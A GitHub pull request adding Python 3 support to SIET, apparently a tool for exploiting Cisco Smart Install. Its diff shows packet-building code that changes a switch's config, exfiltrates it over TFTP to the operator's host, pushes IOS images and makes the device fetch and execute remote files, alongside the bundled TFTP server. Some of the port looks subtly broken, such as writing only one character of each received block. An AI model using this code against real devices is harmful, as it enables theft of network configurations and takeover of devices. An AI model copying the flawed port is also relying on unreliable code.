Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[WIP] Python 3 Support #19

Open
wants to merge 5 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 2 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -72,6 +72,8 @@ New option `-l`. You can use list of ip addresses for getting configuration file

Fix bug with incorrect test of device.

Added support for Python 3

If you are thinking about what to do with the copied configuration files, you can try our new tool: [Cisco Config Analysis Tool](https://github.com/cisco-config-analysis-tool/ccat)

If you have any questions, please write me at telegram: @sab0tag3d
113 changes: 79 additions & 34 deletions sTFTP.py
Original file line number Diff line number Diff line change
@@ -1,5 +1,7 @@
import sys, os, socket

from codecs import encode, decode

TFTP_FILES_PATH = 'tftp' # path to files for transfering
TFTP_SERVER_PORT = 69
TFTP_GET_BYTE = 1
Expand All @@ -12,35 +14,40 @@
MAX_BLKSIZE = 0x10000
MAX_BLKCOUNT = 0xffff

python_version = sys.version_info[0]

def TftpServer(sBindIp, SocketTimeout):
print '-= DvK =- TFTP server 2017(p)'
print("-= DvK =- TFTP server 2017(p)")

print("[INFO]: Creating directory.")
try:
os.mkdir('tftp')
print("[INFO]: Directory created.")
except OSError:
print('[INFO]: Directory already exists. OK.')
print("[INFO]: Directory already exists.")

print '[INFO]: binding socket ..',
print("[INFO]: Binding socket .. ")
try:
ConnUDP = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
ConnUDP.settimeout(SocketTimeout)
ConnUDP.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
ConnUDP.bind((sBindIp, TFTP_SERVER_PORT))
except socket.error as msg:
print 'error: %s' % msg
print("[ERR]: {}".format(msg))
return
print 'ok'
print("[INFO]: Socket bound successfully.")

dPort = TFTP_MIN_DATA_PORT
while True:
try:
buff, (raddress, rport) = ConnUDP.recvfrom(MAX_BLKSIZE)
if python_version == 3:
buff = buff.decode()
except socket.timeout:
pass
except socket.error:
return
print '[INFO]: connect from ', raddress, rport
print("[INFO]: Connection from {}:{}".format(raddress, rport))
sReq = ''
tReq = ord(buff[1])
if tReq == TFTP_GET_BYTE:
Expand All @@ -50,41 +57,46 @@ def TftpServer(sBindIp, SocketTimeout):
sReq = 'put'
fMode = 'w'
if len(sReq) == 0:
print '[ERR]: illegal TFTP request', tReq
print("[ERR]: Illegal TFTP request".format(tReq))
sUdp = '\x00\x05\x00\x01Illegal TFTP request\x00'
ConnUDP.sendto(sUdp, (raddress, rport))
continue
ss = buff[2:].split('\0')
nFile = ss[0]
sType = ss[1]
print '[INFO]:[' + raddress + '] ' + sReq + 'ing file', nFile, sType
print("[INFO]:[{}] {}ting file {} {}".format(raddress, sReq, nFile, sType))

if (sType == 'octet'):
fMode += 'b'

try:
f = open(TFTP_FILES_PATH + '/' + nFile, fMode)
except IOError:
print '[INFO]:[' + raddress + ']:[' + sReq + '] error open file: ' + TFTP_FILES_PATH + '/' + nFile
print("[INFO]:[{}]:[{}] Error opening file: {}/{}".format(raddress, sReq, TFTP_FILES_PATH, nFile))
sUdp = '\x00\x05\x00\x01Error open file\x00'
ConnUDP.sendto(sUdp, (raddress, rport))
continue

try:
ConnDATA = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
ConnDATA.settimeout(SocketTimeout)
ConnDATA.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
ConnDATA.bind(('', dPort))
except socket.error:
print '[ERR]:[' + raddress + ']:[' + sReq + '] error binding dataport', dPort
print("[ERR]:[{}]:[{}] Error binding data port {}".format(raddress, sReq, dPort))
sUdp = '\x00\x05\x00\x01Internal error\x00'
ConnUDP.sendto(sUdp, (raddress, rport))
f.close()
continue
print '[INFO]:[' + raddress + ']:[' + sReq + '] success binding data port', dPort

print("[INFO]:[{}]:[{}] Success binding data port {}".format(raddress, sReq, dPort))

dPort += 1
if dPort == TFTP_MAX_DATA_PORT:
dPort = TFTP_MIN_DATA_PORT
child_pid = os.fork()
if child_pid < 0:
print '[ERR]:[' + raddress + ']:[' + sReq + '] error forking new process'
print("[ERR]:[{}]:[{}] Error forking new process".format(raddress, sReq))
sUdp = '\x00\x05\x00\x01Internal error\x00'
ConnUDP.sendto(sUdp, (raddress, rport))
f.close()
Expand All @@ -93,57 +105,90 @@ def TftpServer(sBindIp, SocketTimeout):
if child_pid == 0:
if sReq == 'put':
sUdp = '0004' + ('%04x' % 0)
ConnDATA.sendto(sUdp.decode('hex'), (raddress, rport))
ConnDATA.sendto(hex_decode(sUdp), (raddress, rport))
fSize = 0
buffer, (raddress, rport) = ConnDATA.recvfrom(MAX_BLKSIZE)
while buffer:
fSize += len(buffer[4:])
f.write(buffer[4:])
sUdp = '\x00\x04' + buffer[2:4]
ConnDATA.sendto(sUdp, (raddress, rport))
if len(buffer[4:]) < DEF_BLKSIZE:
buff, (raddress, rport) = ConnDATA.recvfrom(MAX_BLKSIZE)
if python_version == 3:
buff = buff.decode()

while buff:
fSize += len(buff[4:])
if python_version == 2:
f.write(buff[4:])
elif python_version == 3:
f.write(bytes(buff[4], 'ascii'))

sUdp = '\x00\x04' + buff[2:4]
if python_version == 2:
ConnDATA.sendto(sUdp, (raddress, rport))
elif python_version == 3:
ConnDATA.sendto(bytes(sUdp, 'ascii'), (raddress, rport))

if len(buff[4:]) < DEF_BLKSIZE:
break
buffer, (raddress, rport) = ConnDATA.recvfrom(MAX_BLKSIZE)
buff, (raddress, rport) = ConnDATA.recvfrom(MAX_BLKSIZE)
if python_version == 3:
buff = buff.decode()

if int(fSize / ECHO_FILE_SIZE) * ECHO_FILE_SIZE == fSize:
print '[INFO]:[' + raddress + ']:[' + sReq + '] file ' + TFTP_FILES_PATH + '/' + nFile + ' downloading, size:', fSize
print("[INFO]:[{}]:[{}] File {}/{} downloading, size: {}".format(
raddress, sReq, TFTP_FILES_PATH, nFile, fSize))
f.close()
ConnDATA.close()
print '[INFO]:[' + raddress + ']:[' + sReq + '] file ' + TFTP_FILES_PATH + '/' + nFile + ' finish download, size:', fSize
print("[INFO]:[{}]:[{}] File {}/{} finished downloading, size: {}".format(
raddress, sReq, TFTP_FILES_PATH, nFile, fSize))
sys.exit(0)
if sReq == 'get':
data = f.read(DEF_BLKSIZE)
fSize = len(data)
j = 1
while data:
sUdp = ('0003' + ('%04x' % j)).decode('hex') + data
ConnDATA.sendto(sUdp, (raddress, rport))
sUdp = hex_decode('0003' + ('%04x' % j)) + data
if python_version == 2:
ConnDATA.sendto(sUdp, (raddress, rport))
elif python_version == 3:
ConnDATA.sendto(bytes(sUdp, 'ascii'), (raddress, rport))

try:
buffer, (raddress, rport) = ConnDATA.recvfrom(MAX_BLKSIZE)
buff, (raddress, rport) = ConnDATA.recvfrom(MAX_BLKSIZE)
if python_version == 3:
buff = buff.decode()
except socket.error:
print '[ERR]:[' + raddress + ']:[' + sReq + '] error upload file ' + TFTP_FILES_PATH + '/' + nFile
print("[ERR]:[{}]:[{}] Error uploading file {}/{}".format(raddress, sReq, TFTP_FILES_PATH, nFile))
break
nBlock = int(buffer[2:4].encode('hex'), 16)
if ord(buffer[1]) != 4 or nBlock != j:
print '[ERR]:[' + raddress + ']:[' + sReq + '] answer packet not valid:', ord(
buffer[1]), nBlock, j
nBlock = int(hex_encode(buff[2:4]), 16)
if ord(buff[1]) != 4 or nBlock != j:
print("[ERR]:[{}]:[{}] Answer packet not valid: {}".format(raddress, sReq, ord(buff[1]), nBlock, j))
break
if len(data) < DEF_BLKSIZE:
break
data = f.read(DEF_BLKSIZE)
fSize += len(data)
if int(fSize / ECHO_FILE_SIZE) * ECHO_FILE_SIZE == fSize:
print '[INFO]:[' + raddress + ']:[' + sReq + '] file ' + TFTP_FILES_PATH + '/' + nFile + ' uploading success, size:', fSize
print("[INFO]:[{}]:[{}] File {}/{} uploading success, size: {}".format(
raddress, sReq, TFTP_FILES_PATH, nFile, fSize))
if j == MAX_BLKCOUNT:
j = 0
else:
j += 1
f.close()
ConnDATA.close()
print '[INFO]:[' + raddress + ']:[' + sReq + '] file ' + TFTP_FILES_PATH + '/' + nFile + ' finish upload, size:', fSize
print("[INFO]:[{}]:[{}] File {}/{} finished uploading, size: {}".format(
raddress, sReq, TFTP_FILES_PATH, nFile, fSize))
sys.exit(0)
sys.exit(0)

# Version-agnostic hex encoding and decoding functions
def hex_encode(toEncode):
if python_version == 2:
return toEncode.encode('hex')
elif python_version == 3:
return encode(bytes(toEncode, 'ascii'), 'hex').decode()

##########################################################################################
def hex_decode(toDecode):
if python_version == 2:
return toDecode.decode('hex')
elif python_version == 3:
return decode(toDecode, 'hex')

TftpServer('', TFTP_SOCK_TIMEOUT)
55 changes: 35 additions & 20 deletions siet.py
Original file line number Diff line number Diff line change
Expand Up @@ -10,12 +10,16 @@
import subprocess
import time
import threading

from codecs import encode, decode

python_version = sys.version_info[0]

try:
import Queue as queue
except ImportError:
# Queue is queue in python3
print('[ERROR]: Does not support python3 yet!')
raise SystemExit
import queue

def get_argm_from_user(): # Set arguments for running
parser = argparse.ArgumentParser()
Expand Down Expand Up @@ -154,7 +158,7 @@ def conn_with_client(data, ip, mode=0): # Set connection with remote client
print('[INFO]: {0} is not affected'.format(ip))
break
elif (len(data) == 24):
if (data.encode('hex') == resp):
if (hex_encode(data) == resp):
print('[INFO]: Smart Install Client feature active on {0}'.format(ip))
print('[INFO]: {0} is affected'.format(ip))
break
Expand Down Expand Up @@ -198,8 +202,8 @@ def test_device(current_ip): # Testing for smart install

# print('[DEBUG]: Packet for sent: ' + sTcp)
print('[INFO]: Sending TCP packet to %s ' % current_ip)
# print('[DEBUG]: Decoded packet to sent: ' + sTcp.decode('hex'))
conn_with_client(sTcp.decode('hex'), current_ip, mode=1)
# print('[DEBUG]: Decoded packet to sent: ' + hex_decode(sTcp))
conn_with_client(hex_decode(sTcp), current_ip, mode=1)

def test_device_scheduler(hosts_to_scan_queue):
while not hosts_to_scan_queue.empty():
Expand All @@ -221,20 +225,18 @@ def change_tftp(mode, current_ip): # Send package for changing tftp address

sDump1 = '0' * 7 + '1' + '0' * 7 + '1' + '0' * 7 + '3' + '0' * 5 + '128' + '0' * 7 + '3' + '0' * 23 + '2' + '0' * 15 + '1' + '0' * 6
sDump2 = '0' * (264 - len(fConf) * 2)
sTcp = sDump1 + ('%02x' % int(sTime[0:2])) + '0' * 6 + ('%02x' % int(sTime[3:5])) + '0' * 264 + fConf.encode(
'hex') + sDump2
sTcp = sDump1 + ('%02x' % int(sTime[0:2])) + '0' * 6 + ('%02x' % int(sTime[3:5])) + '0' * 264 + hex_encode(fConf) + sDump2

elif mode == 'change_multi':
if not os.path.isdir("tftp/conf") and not os.path.exists("tftp/conf"):
os.mkdir('tftp/conf', 0755);
os.mkdir('tftp/conf', 0o755);
config_file = 'conf/' + current_ip + '.conf'
fConf = 'tftp://' + my_ip + '/' + config_file
sTime = '00:01'

sDump1 = '0' * 7 + '1' + '0' * 7 + '1' + '0' * 7 + '3' + '0' * 5 + '128' + '0' * 7 + '3' + '0' * 23 + '2' + '0' * 15 + '1' + '0' * 6
sDump2 = '0' * (264 - len(fConf) * 2)
sTcp = sDump1 + ('%02x' % int(sTime[0:2])) + '0' * 6 + ('%02x' % int(sTime[3:5])) + '0' * 264 + fConf.encode(
'hex') + sDump2
sTcp = sDump1 + ('%02x' % int(sTime[0:2])) + '0' * 6 + ('%02x' % int(sTime[3:5])) + '0' * 264 + hex_encode(fConf) + sDump2

elif mode == 'get_config':
# need more test with this payload ( "system:" may be more usefull then "nvram:"
Expand All @@ -246,9 +248,9 @@ def change_tftp(mode, current_ip): # Send package for changing tftp address

sTcp = '0' * 7 + '1' + '0' * 7 + '1' + '0' * 7 + '800000' + '40800010014' + '0' * 7 + '10' + '0' * 7 + 'fc994737866' + '0' * 7 + '0303f4'

sTcp = sTcp + c1.encode('hex') + '00' * (336 - len(c1))
sTcp = sTcp + c2.encode('hex') + '00' * (336 - len(c2))
sTcp = sTcp + c3.encode('hex') + '00' * (336 - len(c3))
sTcp = sTcp + hex_encode(c1) + '00' * (336 - len(c1))
sTcp = sTcp + hex_encode(c2) + '00' * (336 - len(c2))
sTcp = sTcp + hex_encode(c3) + '00' * (336 - len(c3))

elif mode == 'update_ios':
get_ios_for_tftp()
Expand All @@ -261,7 +263,7 @@ def change_tftp(mode, current_ip): # Send package for changing tftp address
else:
sTcp += '%08x' % 0x801 + '%024x' % 0 + '%08x' % 1 + '%08x' % int(sTime[0:2]) + '%08x' % int(
sTime[3:5]) + '%08x' % 1
sTcp += fList.encode('hex') + '00' * (415 - len(fList)) + '01'
sTcp += hex_encode(fList) + '00' * (415 - len(fList)) + '01'

elif mode == 'execute':
exec_file = get_file_for_tftp('execute')
Expand All @@ -271,14 +273,14 @@ def change_tftp(mode, current_ip): # Send package for changing tftp address
c3 = 'tftp://' + my_ip + '/' + exec_file

sTcp = '%08d' % 2 + '%08d' % 1 + '%08d' % 5 + '%08d' % 210 + '%08d' % 1
sTcp = sTcp + c1.encode('hex') + '00' * (128 - len(c1))
sTcp = sTcp + c2.encode('hex') + '00' * (264 - len(c2))
sTcp = sTcp + c3.encode('hex') + '00' * (131 - len(c3)) + '01'
sTcp = sTcp + hex_encode(c1) + '00' * (128 - len(c1))
sTcp = sTcp + hex_encode(c2) + '00' * (264 - len(c2))
sTcp = sTcp + hex_encode(c3) + '00' * (131 - len(c3)) + '01'

# print('[DEBUG]: Packet for sent: ' + sTcp)
print('[INFO]: Sending TCP packet to %s ' % current_ip)
# print('[DEBUG]: Decoded packet to sent: ' + sTcp.decode('hex'))
conn_with_client(sTcp.decode('hex'), current_ip)
# print('[DEBUG]: Decoded packet to sent: ' + hex_decode(sTcp))
conn_with_client(hex_decode(sTcp), current_ip)


def main():
Expand Down Expand Up @@ -308,7 +310,7 @@ def main():
test_device(current_ip)

else:
tftp = subprocess.Popen(["python2.7", "sTFTP.py"])
tftp = subprocess.Popen(["python", "sTFTP.py"])

if args.mode != 'change_multi' and args.mode != 'get_config':
current_ip = args.IP
Expand Down Expand Up @@ -365,6 +367,19 @@ def worker():
time.sleep(60)
tftp.terminate()

# Version-agnostic functions to encode and decode hex strings

def hex_encode(toEncode):
if python_version == 2:
return toEncode.encode('hex')
elif python_version == 3:
return encode(bytes(toEncode, 'ascii'), 'hex').decode()

def hex_decode(toDecode):
if python_version == 2:
return toDecode.decode('hex')
elif python_version == 3:
return decode(toDecode, 'hex')

main()